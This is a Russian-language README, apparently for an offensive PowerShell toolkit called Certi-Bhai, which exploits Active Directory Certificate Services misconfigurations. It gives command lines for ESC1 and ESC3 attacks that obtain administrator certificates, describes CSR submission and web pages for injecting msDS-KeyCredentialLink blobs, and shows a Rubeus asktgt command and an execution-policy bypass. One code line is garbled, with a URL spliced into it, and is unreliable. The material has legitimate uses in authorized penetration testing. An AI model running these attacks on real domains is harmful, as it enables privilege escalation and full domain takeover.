
AD CS эксплуатация — всё, что с этим связано, находится здесь
Certi-Bhai — это комплексный набор инструментов PowerShell для атаки на уязвимости служб сертификации Active Directory (AD CS). Этот набор реализует различные сценарии эскалации привилегий (ESC), демонстрирующие критические ошибки конфигурации безопасности в средах ADCS.
Службы сертификации Active Directory (AD CS) часто настроены с ошибками, что создаёт множество векторов атак. Certi-Bhai предоставляет практические скрипты и утилиты для эксплуатации, тестирования безопасности и исследования распространённых уязвимостей ADCS.
Используйте ответственно и только в авторизованных тестовых средах.
# Модуль Active Directory (необязательно, для расширенной функциональности)
Import-Module ActiveDirectory
Уязвимость: Шаблоны сертификатов позволяют регистрацию с произвольными значениями SubjectAltName (SAN).
Что делает: Создаёт сертификат, подписанный излишне разрешающим шаблоном, позволяя выдавать себя за любого пользователя или компьютер в домене.
Использование:
# Перейдите в каталог ESC1
cd ESC1
# Запустите скрипт эксплуатации
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
-templateName "vuln" `
-altName "administrator" `
-pfxPass "password123"
Параметры:
-subjectName: Полное различающееся имя (DN) целевого пользователя-templateName: Имя уязвимого шаблона сертификата-altName: Альтернативное имя для запроса (имя пользователя/компьютера)-pfxPass: Пароль для экспорта PFXРезультат: Сертификат PFX в кодировке Base64 для использования с такими инструментами, как Rubeus
Видеоурок: https://www.youtube.com/watch?v=l0gMw_mO4dw
Уязвимость: Агенты запроса сертификатов могут запрашивать сертификаты от имени любого пользователя.
Что делает: Регистрирует сертификат как агент запроса сертификатов, затем запрашивает сертификаты для произвольных субъектов.
Использование:
# Перейдите в каталог ESC3
cd ESC3
# Запустите скрипт эксплуатации
.
\esc3_working.ps1 -templateName "CEOTemplate" `
-target_user "administrator" `
-domain "INDISHELL" `
-pfxPass "password123"
Параметры:
-templateName: Уязвимый шаблон агента запроса-target_user: Субъект, для которого запрашивается сертификат-domain: Имя домена-pfxPass: Пароль PFXРезультат: Сертификат администратора (PFX) с кодировкой base64
Видеоурок: https://www.youtube.com/watch?v=fGjrM-JKnoM
Уязвимость: Внедрение политики приложения (Application Policy Injection).
cd CSR_Generate
# Сгенерируйте запрос на подпись сертификата
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
-altName "admin"
# Отправьте CSR в CA
.
\csr_submit.ps1 -csr $csr `
-templateName "User" `
-caServer "ca-server.domain.local"
Веб-интерфейс cert.aspx предоставляет удобную форму для запроса сертификата через конечную точку RPC AD CS:
http://your-iis-server/cert.aspx
Изменяйте атрибуты LDAP через веб-интерфейс. Этот скрипт в основном используется для внедрения blob-данных в атрибут msDS-KeyCredentialLink:
http://your-iis-server/ldap_update.aspx
Возможности:
.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
-templateName "User" `
-altName "administrator" `
-pfxPass "P@ssw0rd!"
# Преобразуйте PFX в используемый формат для Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)
Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap
В: Выполнение скрипта заблокировано
# Запустите PowerShell от имени администратора
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
В: Шаблон сертификата не найден
В: Сбой подключения к LDAP
Нашли проблему или есть предложения по улучшению? Пожалуйста, сообщайте ответственно.